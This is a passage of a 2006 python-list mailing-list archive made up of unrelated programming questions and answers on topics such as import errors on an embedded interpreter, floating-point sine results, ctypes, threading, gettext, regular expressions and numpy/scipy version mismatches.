# /MS/PyLib/sre_cons.pyc matches /MS/PyLib/sre_cons.py
import sre_constants # precompiled from /MS/PyLib/sre_cons.pyc
# trying /MS/PyLib/sre_pars.py
# /MS/PyLib/sre_pars.pyc matches /MS/PyLib/sre_pars.py
import sre_parse # precompiled from /MS/PyLib/sre_pars.pyc
# trying /MS/PyLib/string.py
# /MS/PyLib/string.pyc matches /MS/PyLib/string.py
import string # precompiled from /MS/PyLib/string.pyc
import numpy.core # directory /MS/PyLib/numpy/core
# trying /MS/PyLib/numpy/core/__init__.py
# /MS/PyLib/numpy/core/__init__.pyc matches
/MS/PyLib/numpy/core/__init__.py
import numpy.core # precompiled from /MS/PyLib/numpy/core/__init__.pyc
# trying /MS/PyLib/numpy/core/info.py
# /MS/PyLib/numpy/core/info.pyc matches /MS/PyLib/numpy/core/info.py
import numpy.core.info # precompiled from /MS/PyLib/numpy/core/info.pyc
# trying /MS/PyLib/numpy/core/numpy.py
# trying /MS/PyLib/numpy/core/numpy.pyc
# trying /MS/PyLib/numpy/core/multiarr.py
# trying /MS/PyLib/numpy/core/multiarr.pyc
# trying /MS/PyLib/multiarr.py
# trying /MS/PyLib/multiarr.pyc
# trying /MS/PyCode/multiarr.py
# trying /MS/PyCode/multiarr.pyc
Error Importing Behaviours
Traceback (most recent call last):
  File "/MS/PyCode/Behaviou.py", line 22, in ?
    import Brain
  File "/MS/PyCode/Brain.py", line 21, in ?
    import Switch
  File "/MS/PyCode/Switch.py", line 1, in ?
    import pNone as selectedPlayer
  File "/MS/PyCode/pNone.py", line 2, in ?
    import numpy.oldnumeric
  File "/MS/PyLib/numpy/__init__.py", line 34, in ?
    import core
  File "/MS/PyLib/numpy/core/__init__.py", line 5, in ?
    import multiarray
ImportError: No module named multiarray


I saw that the import did not look for .so files.  I verified this by
checking imp.get_suffixes():

import imp # builtin
[('.py', 'U', 1), ('.pyc', 'rb', 2)]      #<-- result of `print
imp.get_suffixes()`


I realize that this should include a ('.so','rb',3) entry (should it
not? 3->imp.C_EXTENSION) if it were going to locate the c extension.
Thus, my revised question would be what sets the suffixes for import?
How do/Can I change this?

The interpreter is linked in from a library compiled from edited Python
2.3 source so that it will run on the OPEN-R system (strips things like
time, socket, etc., which are not supported).


Thanks again,
Jeremy



From skip at pobox.com  Sun Oct 15 17:45:44 2006
From: skip at pobox.com (skip at pobox.com)
Date: Sun, 15 Oct 2006 16:45:44 -0500
Subject: IDE that uses an external editor?
In-Reply-To: <624934630610151434t5bb8b9f8l6572f26a69c08b54@mail.gmail.com>
References: <20061014121444.C3D0.SLAWOMIR.NOWACZYK.847@student.lu.se>
	<17713.9709.575464.630058@montanaro.dyndns.org>
	<20061014212050.C3F7.SLAWOMIR.NOWACZYK.847@student.lu.se>
	<624934630610151434t5bb8b9f8l6572f26a69c08b54@mail.gmail.com>
Message-ID: <17714.44040.681305.994786@montanaro.dyndns.org>


    >> #> I realize I can do a lot within Emacs/XEmacs, but I suspect with a
    >> #> tool like Eclipse I could do more. However, I don't want to give
    >> #> up the text editing power of Emacs to get it.
    ...
    Ramon> I've tried using Eclipse several times, because several good
    Ramon> meaning people told me things like "you coud do more". 

My observation about Eclipse comes simply from watching one of the other
developers at work use it.  I'd like to give it a try, but not at the
expense of giving up Emacs.

Skip


From chrispatton at gmail.com  Sun Oct 15 00:13:06 2006
From: chrispatton at gmail.com (Chris)
Date: 14 Oct 2006 21:13:06 -0700
Subject: problem with the 'math' module in 2.5?
In-Reply-To: <mailman.524.1160884524.11739.python-list@python.org>
References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>
	<mailman.524.1160884524.11739.python-list@python.org>
Message-ID: <1160885586.921786.87810@i42g2000cwa.googlegroups.com>

sin(pi*0.5) is what I expected, but I expected to get 0 for sin(pi).

Max Erickson wrote:
> "Chris" <chrispatton at gmail.com> wrote:
>
> >>>> from math import *
> >>>> sin(0)
> > 0.0
> >>>> sin(pi)
> > 1.2246063538223773e-016
> >>>> sin(2*pi)
> > -2.4492127076447545e-016
> >>>> cos(0)
> > 1.0
> >>>> cos(pi)
> > -1.0
> >>>> cos(2*pi)
> > 1.0
> >
> > The cosine function works fine, but I'm getting weird answers for
> > sine. Is this a bug? Am I doing something wrong?
> >
>
> >From help(math) in an interactive window:
>
>
> DESCRIPTION
>     This module is always available.  It provides access to the
>     mathematical functions defined by the C standard.
>
> So what you are seeing is the behavior of the C library being exposed.
> 
> 
> Try sin(pi*0.5) to see similar behavior to cos(pi) or cos(pi*2).



From martin at v.loewis.de  Wed Oct  4 16:31:48 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 04 Oct 2006 22:31:48 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <1159975325.127309.290210@i3g2000cwc.googlegroups.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<87ac4ciynk.fsf@benfinney.id.au>
	<1hmozq6.kow3g61xdpiqyN%dialUAZ###UZ#$AAtone@gWARAmail.com>
	<mailman.1268.1159973659.10491.python-list@python.org>
	<1159975325.127309.290210@i3g2000cwc.googlegroups.com>
Message-ID: <45241A34.2060305@v.loewis.de>

Paul Boddie schrieb:
> Out of interest, here are some figures:
> 
>   KDE: 12983 bugs and 11656 wishes
>   GNOME: 23624 reports
>   Python: 7159 bugs, 3843 patches, 477 feature requests
> 
> The Python figures are totals, whereas I can't be sure whether the KDE
> and GNOME figures merely refer to the open issues. Nevertheless, Python
> isn't going to be pushing the envelope.

Right: machine power isn't really an issue (although the snappiness
of response does contribute to usability: the various installations
showed noticable differences in response time).

The issue of scalability is really how a large number of reports
can be managed. How can a submitter easily find out whether a report
for some issue already exists, and how can a maintainer easily find
out what needs most attention (where each developer might apply
her own priority system)? For a small number of issues, you can
scan through a list. If the list contains more than 20 entries,
scanning through it becomes tedious.

Regards,
Martin


From p.lavarre at ieee.org  Wed Oct 25 18:54:51 2006
From: p.lavarre at ieee.org (p.lavarre at ieee.org)
Date: 25 Oct 2006 15:54:51 -0700
Subject: FAQ - How do I declare that a CTypes function returns void?
Message-ID: <1161816891.436332.214210@f16g2000cwb.googlegroups.com>

Now at http://pyfaq.infogami.com/suggest we have:

FAQ: How do I declare that CTypes function returns void?

A: c_void = None is not doc'ed, but is suggested by:
>>> ctypes.POINTER(None)
<class 'ctypes.c_void_p'>
>>>

Remembering c_void = c_int from K&R C often works, but if you say a
restype is c_int, then doctest's of that call will print an int, yuck.
If you say the restype is None, then those doctest's work: they print
nothing.

Hope this helps,



From jdlists at gmail.com  Wed Oct 18 21:02:26 2006
From: jdlists at gmail.com (jdlists at gmail.com)
Date: 18 Oct 2006 18:02:26 -0700
Subject: Converting existing module/objects to threads
Message-ID: <1161219746.574285.188930@m7g2000cwm.googlegroups.com>

I have inheirted some existing code, that i will explain in a moment,
have needed to extend and ultimately should be able to run in threads.
I've done a bunch of work with python but very little with threads and
am looking for some pointers on how to implement, and if the lower
level modules/objects need to be rewritten to use threading.local for
all local variables.

I have a module that communicates with a hardware device, which reads
data off of sensors, that can only talk with one controller at a time.
The controller (my module) needs to (in its simplest form) init,
configure the device, request data, and write out xml, sleep, repeat.

The new request is that the device needs to be queried until a
condition is true, and then start requesting data.  So an instance of a
controller needs to be deadicated to a hardware device forever, or
until the program ends....which ever comes first.

This currently works in a non-threaded version, but only for one device
at a time, there is a need to create a single windows(yeach) service
that talks to many of these devices at once.  I don't need worker
threads that handle seperate portions of the entire job, i need a
single application to spawn multiple processes to run through the
entire communication from configure to report, sleep until the next
interval time and run again.  The communication could last from 1
minute to 10 minutes before it ends.


  Here is the code layout in pseudocode.

module.Object - controller.Main - handles all socket communications

class subcontroller(controller.Main):
  def __init__(self,id,configurationFile):
   controller.Main.__init__(self)
   // instantiate variables and local objects that handle
configuration, logic and data output

  def configure(self,configurationFile):
    //read configurationFile and configure device

  def process(self):
    while 1:
      //based on configuration file, query the device until condition
is true and then write xml, sleep until time to repeat and run again.

within controller there are 5 objects and subcontroller is a sinlge
object that loads other objects from the inherited controller.System

I'm trying to figure out how difficult it is going to be to convert
this to a threaded application.  The original controller.Main is built
to talk to devices in series, never in parallel. so no objects are
considered to be thread safe, but no instance of any of the objects
should need to share resources with any other instance of teh same
object.  they would all have unique configuration files and talk to
devices on unique ip/ports.

on a unix system, forking,while potentially not optimal, would be a
fine solution, unfortunantely this needs to run on windows.

I know i have left out many details, but hopefully this is enough to at
least enable some kind soles to lend an opinnion or two.

many thanks
jd



From russ.phillips.nospam at googlemail.com  Sat Oct 28 05:33:46 2006
From: russ.phillips.nospam at googlemail.com (russ.phillips.nospam at googlemail.com)
Date: 28 Oct 2006 02:33:46 -0700
Subject: gettext on Windows
In-Reply-To: <454322BC.8020002@v.loewis.de>
References: <1162022669.684710.182530@m7g2000cwm.googlegroups.com>
	<mailman.1392.1162022981.11739.python-list@python.org>
	<1162023784.123822.266270@m73g2000cwd.googlegroups.com>
	<454322BC.8020002@v.loewis.de>
Message-ID: <1162028026.501490.93250@m7g2000cwm.googlegroups.com>


Martin v. L?wis wrote:
> russ.phillips.nospam at googlemail.com schrieb:
> > Traceback (most recent call last):
> >   File "panicbutton.py", line 36, in ?
> >     lan = gettext.GNUTranslations (open (sLang, "rb"))
> >   File "C:\Python24\lib\gettext.py", line 177, in __init__
> >     self._parse(fp)
> >   File "C:\Python24\lib\gettext.py", line 280, in _parse
> >     raise IOError(0, 'File is corrupt', filename)
> > IOError: [Errno 0] File is corrupt: 'locale\\fr_FR.mo'
>
> If it says so, it likely is right. How did you create the file?

I only get the "File is corrupt" error when I changed

lan = gettext.GNUTranslations (open (sLang))

to

lan = gettext.GNUTranslations (open (sLang, "rb"))

Without the "rb" in the open () I get a "struct.error : unpack str size
does not match format" error (see original post).

The .mo files were created using poEdit (www.poedit.org), and I get the
same error with various translations, all created by different people.

Russ



From steveadi at gmail.com  Sat Oct 28 04:36:59 2006
From: steveadi at gmail.com (frankie_85)
Date: 28 Oct 2006 01:36:59 -0700
Subject: Need help (Basic python)...what did I do wrong?
Message-ID: <1162024619.913197.302700@m73g2000cwd.googlegroups.com>

Hi everyone,

I just made a simple code which is part of my assignment but I can't
figure it out what's wrong with it. (always give me error messages)

What the code basically does is:

a function that takes one floating point number x as its argument and
returns (the square root of the absolute value of x) plus (5 times x
cubed).

and read 5 floating point values from the user into a list then apply
the function to each value in the list and print the results in reverse
order.

--------------------------------------------------------------------------------------------
import math

print "Enter 5 values:"
a = float(raw_input())
b = float(raw_input())
c = float(raw_input())
d = float(raw_input())
e = float(raw_input())

def funct(a, b, c, d, e):
    a_1 = math.sqrt(math.fabs(a)) + 5((math.pow(a,3)))
    b_2 = math.sqrt(math.fabs(b)) + 5((math.pow(b,3)))
    c_3 = math.sqrt(math.fabs(c)) + 5((math.pow(c,3)))
    d_4 = math.sqrt(math.fabs(d)) + 5((math.pow(d,3)))
    e_5 = math.sqrt(math.fabs(e)) + 5((math.pow(e,3)))
    return a_1
    return b_2
    return c_3
    return d_4
    return e_5
    print e_5, d_4, c_3, b_2, a_1



funct(a, b, c, d, e)


--------------------------------------------------------------------------------------------

it always gives me these error messages:

Traceback (most recent call last):
  File "/Users/x/Documents/test3.py", line 25, in <module>
    funct(a, b, c, d, e)
  File "/Users/x/Documents/test3.py", line 11, in funct
    a_1 = math.sqrt(math.fabs(a)) + 5((math.pow(a,3)))
TypeError: 'int' object is not callable

What did I do wrong? Please help me

Thanks in advance



From chrispatton at gmail.com  Sat Oct  7 17:30:09 2006
From: chrispatton at gmail.com (Chris)
Date: 7 Oct 2006 14:30:09 -0700
Subject: need some regular expression help
Message-ID: <1160256609.555007.83170@e3g2000cwe.googlegroups.com>

I need a pattern that  matches a string that has the same number of '('
as ')':
findall( compile('...'), '42^((2x+2)sin(x)) + (log(2)/log(5))' ) = [
'((2x+2)sin(x))', '(log(2)/log(5))' ]
Can anybody help me out?

Thanks for any help!



From apardon at forel.vub.ac.be  Thu Oct  5 10:41:08 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 5 Oct 2006 14:41:08 GMT
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>
	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>
	<7xac4cpefr.fsf@ruckus.brouhaha.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>
	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>
	<eg17jd$gsr$1@news.albasani.net>
	<mailman.1295.1159996151.10491.python-list@python.org>
Message-ID: <slrneia6c4.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-04, Fredrik Lundh <fredrik at pythonware.com> wrote:
> Georg Brandl wrote:
>
>> This is an issue in most Python documentation: you're not told
>> if the described function is implemented in C, and if it is
>> keyword arg-enabled. The arguments must be given names though,
>> to be able to document them.
>
> the general rule is that if the documentation doesn't explicitly say 
> that something is a keyword argument, it isn't, and shouldn't be treated 
> as such.

The first module I looked in to check this, it wasn't true. In the Queue
Module is isn't explicitly written that maxsize is a keyword argument yet
Queue.Queue(maxsize=9) works just fine.

I then took a look in the Threading module and found that the semaphore
documentation didn't mention anything about keyword arguments but
again they worked fine.

It wouldn't surprise me if this was true for the complete threading
documentation.

-- 
Antoon Pardon


From spe.stani.be at gmail.com  Thu Oct 19 20:43:42 2006
From: spe.stani.be at gmail.com (SPE - Stani's Python Editor)
Date: 19 Oct 2006 17:43:42 -0700
Subject: SPE for 2.5?
In-Reply-To: <1160786472.050255.306850@e3g2000cwe.googlegroups.com>
References: <NJQXg.106$1n3.2880@news.tufts.edu>
	<1160786472.050255.306850@e3g2000cwe.googlegroups.com>
Message-ID: <1161305022.234398.24840@m7g2000cwm.googlegroups.com>

Fuzzyman schreef:

> Shame as it is a *very* nice IDE, but it had too many quirks (with
> little chance of them being fixed it seemed) to use it for commercial
> development at Resolver.

I've never head from a company called Resolver. A commercial company
can not assume if it picks up a free project that it will get free
support comparable to commercial support. If however they would be
willing to pay a fair amount for fixing these quirks, they would have
not only helped themselves but anyone who uses SPE. No shame, no blame.

Stani

http://pythonide.stani.be



From notejam at sbcglobal.net  Mon Oct 30 15:54:32 2006
From: notejam at sbcglobal.net (notejam)
Date: 30 Oct 2006 12:54:32 -0800
Subject: Python windows interactive.
Message-ID: <1162241672.682830.189240@b28g2000cwb.googlegroups.com>

I am trying to get started with a interactive version of Python for
windows and need some help.
I have played with the tutorial, and now want to write a program.

In basic language, I could write something like
10 print "hello"
20 print "Jim"

and if I run it I would get
hello
Jim

How do I do sometihing simple like that in python?
How do I enter line numbers, or if none, what do I do.
Can the interpreter load a text file with my program in it?
How do I list a program or the parts of a program I am interested in
looking at?

How do I run a python program?



From jjl at pobox.com  Tue Oct 10 13:36:41 2006
From: jjl at pobox.com (John J. Lee)
Date: 10 Oct 2006 18:36:41 +0100
Subject: How to share session with IE
References: <1160479479.825746.320610@k70g2000cwa.googlegroups.com>
	<1160480177.704013.37770@k70g2000cwa.googlegroups.com>
Message-ID: <uodskgjiu.fsf@pobox.com>

"Bernard" <bernard.chhun at gmail.com> writes:
> zdp wrote:
[...]
> > However, now I need to process some pages by a python program. When I
> > use urllib.urlopen(theurl), I can only get a page which told me I need
> > login. I think It's reasonable, becuase I wasn't in a loggined session
> > which as IE did.
> >
> > So how can I do my job? I want to get the right webpage by the url. I
> > have search answers from the groups but didn't get clear answer. Should
> > I use win32com or urllib? Any reply or information is appreciate. Hope
> > I put it clear.

> You can do the same thing as IE on your forum using urllib2 and
> cookielib. In short you need to code a small webcrawler. I can give you
> my browser module if necessary.
> You might not have the time to fiddle with the coding part or my
> browser module so you can also use this particularly useful module :
> http://wwwsearch.sourceforge.net/mechanize/
> The documentation is pretty clear for an initiated python programmer.
> If it's not your case, I'd recommend to read some ebooks on the python
> language first to get use to it.

In particular, if you're following the approach Bernard suggests, you
can either:

1. Log in every time your program runs, by going through the sequence
   of clicks, pages, etc. that you would use in a browser to log in.

2. Once only (or once a month, or whatever), log in by hand using IE
   with a "Remember me"-style feature (if the website offers that) --
   where the webapp asks the browser to save the cookie rather than
   just keeping it in memory until you close your browser.  Then your
   program can load the cookies from your real browser's cookie store
   using this:

http://wwwsearch.sourceforge.net/mechanize/doc.html#browsers


There are other alternatives too, but they depend on knowing a little
bit more about how cookies and web apps work, and may or may not work
depending on what exactly the server does.  I'm thinking specifically
here of saving *session* cookies (the kind that usually go away when
you close your browser) in a file -- but the server may not like them
when you send them back the next time, depending how much time has
elapsed since the last run.  Of course, you can always detect the
"need to login" condition, and react accordingly.


John



From fulvio at tm.net.my  Wed Oct 18 01:37:42 2006
From: fulvio at tm.net.my (Fulvio)
Date: Wed, 18 Oct 2006 13:37:42 +0800
Subject: [OT] a little about regex
Message-ID: <200610181337.42579.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


Hello,

I'm trying to get working an assertion which filter address from some domain 
but if it's prefixed by '.com'.
Even trying to put the result in a negate test I can't get the wanted result.

The tought in program term :

>>> def filter(adr):
...     import re
...     allow = re.compile('.*\.my(>|$)')
...     deny = re.compile('.*\.com\.my(>|$)')
...     cnt = 0
...     if deny.search(adr): cnt += 1
...     if allow.search(adr): cnt += 1
...     return cnt
...
>>> filter('some.ads at lazyfox.com.my')
2
>>> filter('some.ads at lazyfox.net.my')
1
>>>

Seem that I miss some better regex implementation to avoid that both of the 
filters taking action. I'm thinking of lookbehind (negative or positive) 
option, but I think I couldn't realize it yet.
I think the compilation should either allow have no '.com' before '.my' or 
deny should have _only_ '.com' before '.my'. Sorry I don't get the correct 
sintax to do it.

Suggestions are welcome.

F




From bjobrien62 at gmail.com  Sun Oct  8 12:46:23 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 8 Oct 2006 09:46:23 -0700
Subject: operator overloading + - / * = etc...
In-Reply-To: <mailman.30.1160257532.11739.python-list@python.org>
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<mailman.30.1160257532.11739.python-list@python.org>
Message-ID: <1160325983.027372.3110@c28g2000cwb.googlegroups.com>


Daniel Nogradi wrote:
> > Can these operators be overloaded?
> > If so.  How?
> >
>
> http://www.python.org/doc/ref/numeric-types.html
> 
> HTH,
> Daniel

Thanks everyone.



From JohnRoth1 at jhrothjr.com  Mon Oct 16 09:53:33 2006
From: JohnRoth1 at jhrothjr.com (John Roth)
Date: 16 Oct 2006 06:53:33 -0700
Subject: comparing Unicode and string
In-Reply-To: <1161005167.295259.290800@m7g2000cwm.googlegroups.com>
References: <1161005167.295259.290800@m7g2000cwm.googlegroups.com>
Message-ID: <1161006813.058331.85660@m7g2000cwm.googlegroups.com>


luc.saffre at gmail.com wrote:
> Hello,
>
> here is something that surprises me.
>
>   #coding: iso-8859-1
>   s1=u"Frau M?ller machte gro?e Augen"
>   s2="Frau M?ller machte gro?e Augen"
>   if s1 == s2:
>       pass
>
> Running this code produces a UnicodeDecodeError:
>
> Traceback (most recent call last):
>   File "tmp.py", line 4, in ?
>     if s1 == s2:
> UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 6:
> ordinal not in range(128)
>
> I would have expected that "s1 == s2" gives True... or maybe False...
> but raising an error here is unnecessary. I guess that the comparison
> operator decides to convert s2 to a Unicode but forgets that I said
> #coding: iso-8859-1 at the beginning of the file.

The #coding declaration is not effective at runtime. It's
there strictly to guide the compiler in how to compile
byte strings.

The default encoding at run time is ascii unless
it's been set to something else, which is why the
error message specifies ascii.

John Roth

> 
> TIA for any comments.
> 
> Luc Saffre



From greg at cosc.canterbury.ac.nz  Fri Oct 20 20:32:52 2006
From: greg at cosc.canterbury.ac.nz (greg)
Date: Sat, 21 Oct 2006 13:32:52 +1300
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <7xac3ra6wg.fsf@ruckus.brouhaha.com>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<7xac3ra6wg.fsf@ruckus.brouhaha.com>
Message-ID: <45396AB4.60502@cosc.canterbury.ac.nz>

Paul Rubin wrote:

> I have yet to see a gui toolkit which doesn't suck.  I'm not sure why
> that is.

Have you seen PyGUI? It's my attempt at creating
a GUI toolkit for Python that doesn't suck. I'd
be interested to know if you think I've come
anywhere near to succeeding.

http://www.cosc.canterbury.ac.nz/greg.ewing/python_gui/

--
Greg


From steve at holdenweb.com  Tue Oct  3 08:10:20 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 03 Oct 2006 13:10:20 +0100
Subject: Artificial Mind - Part One - Basic Architecture and Cognitive
	Structure is now available
In-Reply-To: <1159871200.703771.144210@c28g2000cwb.googlegroups.com>
References: <1159871200.703771.144210@c28g2000cwb.googlegroups.com>
Message-ID: <4522532C.8000101@holdenweb.com>

tommak wrote:
> It's a dream of human beings to build machines that can think and
> behave like human beings.  The most important part of of such a machine
> is an artificial mind that can emulate the cognitive processing of
> human mind.
> 
> This book, "Next Generation Artificial Intelligence, Artificial Mind -
> Part One - Basic Architecture and Cognitive Structure" introduces a
> basic artificial mind architecture and computational model for
> cognitive processing.  Inside the book, three important cognitive
> process modeling components, mental objects network (MON),
> associative-learning mechanisms and a concept formation principle are
> introduced.  Based on the architecture and the computational model, one
> can develop his own model of artificial mind according to his own
> specific requirements.
> 
> The first edition of Artificial Mind - Part One is now available for
> purchase from the author's personal web site. The price of the e-book
> is USD7.00 (seven US dollars).  An evaluation edition of this e-book is
> also available for download from the web site.
> 
> The author's personal web site:
> http://www.geocities.com/tomwingmak/
> 
I'm afraid you'll have to do a bit better than this feeble spam to 
persuade us that it wasn't written by the author of the work in question.

regards
  Steve

PS "Python Web Programming" is still available through all good 
bookstores ;)
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From deets at nospam.web.de  Tue Oct 10 04:39:00 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Tue, 10 Oct 2006 10:39:00 +0200
Subject: Python component model
In-Reply-To: <7xlknotwuy.fsf@ruckus.brouhaha.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<7xlknotwuy.fsf@ruckus.brouhaha.com>
Message-ID: <4p14h4Fgk9jaU1@uni-berlin.de>

Paul Rubin schrieb:
> "Nick Vatamaniuc" <vatamane at gmail.com> writes:
>> Python does not _need_ a component model just as you don't _need_ a RAD
>> IDE tool to write Python code. The reason for having a component model
>> or a RAD IDE tool is to avoid writing a lot of boiler plate code.
> 
> It's also so that applications written in differing languages can call
> each other.

Nope. Things like CORBA and COM do have that property, but e.g. the Java 
beans spec has only a meaning inside the VM. Not sure about .NET, but I 
can imagine there it's the same thing.

All the languages he mentioned are statically typed, or the component 
models themselves are. So the component model is basically needed (as 
others also mentioned) to glue things together, to dynamize that - 
whereas python is dynamic on the first hand, and actually lacks static 
typing to infer component properties...


Diez


From bignose+hates-spam at benfinney.id.au  Wed Oct 18 06:39:25 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 18 Oct 2006 20:39:25 +1000
Subject: python's OOP question
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<mailman.550.1160965386.11739.python-list@python.org>
	<1160965758.324644.131920@i42g2000cwa.googlegroups.com>
	<mailman.551.1160968738.11739.python-list@python.org>
	<1160969393.803021.274070@e3g2000cwe.googlegroups.com>
	<45334fa9$0$5656$426a74cc@news.free.fr>
	<1160991239.541020.115320@m7g2000cwm.googlegroups.com>
	<453382b6$0$8601$426a74cc@news.free.fr>
	<1161054047.278803.241040@h48g2000cwc.googlegroups.com>
	<4534a656$0$19612$426a74cc@news.free.fr>
	<1161159733.014074.107040@h48g2000cwc.googlegroups.com>
Message-ID: <87r6x5zz4y.fsf@benfinney.id.au>

"neoedmund" <neoedmund at gmail.com> writes:

> Bruno Desthuilliers wrote:
> > neoedmund wrote:
> > > in real life, a class is not defined so well that any method is
> > > needed by sub-class.
> >
> > Then perhaps is it time to refactor. A class should be a highly
> > cohesive unit. If you find yourself needing only a specific subset
> > of a class, it may be time to extract this subset in it's own
> > class.
>
> I donnot agree with your "it's time to refactory" very much, man has
> probly never has time to do such things.

I respectfully suggest that the *reason* you find yourself with little
time to refactor is probably related to the fact that you *need* to
refactor. If your code is crufty and poorly-designed, it is costing
you every time you need to maintain it.

Would it help if we called it "preventative maintenance"?

-- 
 \        "I bought a dog the other day. I named him Stay. It's fun to |
  `\     call him. 'Come here, Stay! Come here, Stay!' He went insane. |
_o__)      Now he just ignores me and keeps typing."  -- Steven Wright |
Ben Finney



From paul at boddie.org.uk  Fri Oct  6 06:02:02 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 6 Oct 2006 03:02:02 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1159875634.285633.226980@k70g2000cwa.googlegroups.com>
	<1159878794.430315.38920@i3g2000cwc.googlegroups.com>
	<1160088935.394103.285320@e3g2000cwe.googlegroups.com>
Message-ID: <1160128922.301756.47210@h48g2000cwc.googlegroups.com>

Ian Bicking wrote:
>
> It handles some other kinds of repositories now (bzr, I think?).  From
> what I understand fully abstracting out the repository format seems to
> still be a work in progress, but it is in progress and you can write
> repository plugins right now.

That covers Trac, but other projects probably need to get up to speed
with providing similar functionality, too. This is another case where
people should work together rather than developing an interoperability
layer specific to their own project. Certainly, the Bazaar APIs looked
like some kind of promising umbrella project for that kind of thing.

> Trac now includes a WSGI backend, and someone has written a WSGI
> backend for ViewVC (though I don't know if it is included with the
> project).
>
> Clearly you need to get on the WSGI bandwagon ;)

Hey, WebStack supports WSGI, too, you know. ;-)

Paul



From oliphant.travis at ieee.org  Sun Oct 29 02:56:41 2006
From: oliphant.travis at ieee.org (Travis E. Oliphant)
Date: Sun, 29 Oct 2006 01:56:41 -0600
Subject: latest numpy & scipy - incompatible ?
In-Reply-To: <ehvr00$n58$1@news.albasani.net>
References: <ehvr00$n58$1@news.albasani.net>
Message-ID: <ei1moc$is9$5@sea.gmane.org>

robert wrote:
> I'm using latest numpy & scipy. What is this problem ? :
> 
>>>> import scipy.stats
> RuntimeError: module compiled against version 1000002 of C-API but this version of numpy is 1000009
> Traceback (most recent call last):
>   File "<interactive input>", line 1, in ?
>   File "C:\PYTHON23\Lib\site-packages\scipy\stats\__init__.py", line 7, in ?
>     from stats import *
>   File "C:\PYTHON23\Lib\site-packages\scipy\stats\stats.py", line 191, in ?
>     import scipy.special as special
>   File "C:\PYTHON23\Lib\site-packages\scipy\special\__init__.py", line 8, in ?
>     from basic import *
>   File "C:\PYTHON23\Lib\site-packages\scipy\special\basic.py", line 8, in ?
>     from _cephes import *
> ImportError: numpy.core.multiarray failed to import
>>>> import numpy.core.multiarray
>>>>
>>>> import scipy
>>>> scipy.__version__
> '0.5.1'
>>>> numpy.__version__
> '1.0'

Download the 1.0rc2 binary until SciPy 0.5.2 which should be out in a 
few days.  If you can recompile, SciPy yourself, then it will work fine 
with 1.0

-Travis



From scott.daniels at acm.org  Thu Oct 12 15:18:56 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Thu, 12 Oct 2006 12:18:56 -0700
Subject: prefix search on a large file
In-Reply-To: <mailman.386.1160667922.11739.python-list@python.org>
References: <mailman.365.1160642731.11739.python-list@python.org>	<1160647737.312386.37800@c28g2000cwb.googlegroups.com>	<a23effaf0610120713x58d055dem1b7deefec3b50515@mail.gmail.com>
	<mailman.386.1160667922.11739.python-list@python.org>
Message-ID: <452e8cf5$1@nntp0.pdx.net>


Try:

     def leaders(sorted_list):
         held = None
         for phrase in held:
             if held is None or not phrase.startswith(held):
                 held = row
                 yield held

     print list(leaders(sorted(data)))

--Scott David Daniels
scott.daniels at acm.org


From blktiger at gmail.com  Wed Oct  4 22:39:18 2006
From: blktiger at gmail.com (Blacktiger)
Date: Wed, 4 Oct 2006 21:39:18 -0500
Subject: Block Structure Parsing
Message-ID: <f1b9f06f0610041939u37e07f64uf7f9bc339bc80dc3@mail.gmail.com>

Hi all, I'm new to this list because I had a question about parsing
python block structure. I am taking a programming languages course
this semester and for our final project we are writing an interperator
in scheme(awful language) for whatever language that we want. The
language that I want to do is one I have been designing for a little
while and it shares some syntactic features of Python; most notably
the block structure.

We are using SLLGEN which is able to parse LL(1) grammars and its
lexical scanner can parse regular expressions. I can't seem to think
of a way to put this kind of block structure into a regualr expression
so I am currently thinking of writing my own scanner to replace blocks
with indent/dedent tokens before calling SLLGEN.

Thanks in adv,
Michael Martz
-- 
Concentrate on the solution, not the problem.
http://www.ku.edu/~fencing


From bugracakir at gmail.com  Mon Oct 30 06:47:14 2006
From: bugracakir at gmail.com (Bugra Cakir)
Date: Mon, 30 Oct 2006 13:47:14 +0200
Subject: MemoryError
Message-ID: <5a00f6240610300347k31de6ae8qc89e48fba98e50a1@mail.gmail.com>

Hi,

I have found a "MemoryError" exception in my program. How can i output
Python interpreter
log or how can i find the root cause of this "MemoryError" exception ? Thank
you.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20061030/41e1031f/attachment.html>

From icebergwtf at yahoo.com.cn  Mon Oct 30 20:49:18 2006
From: icebergwtf at yahoo.com.cn (Tiefeng Wu)
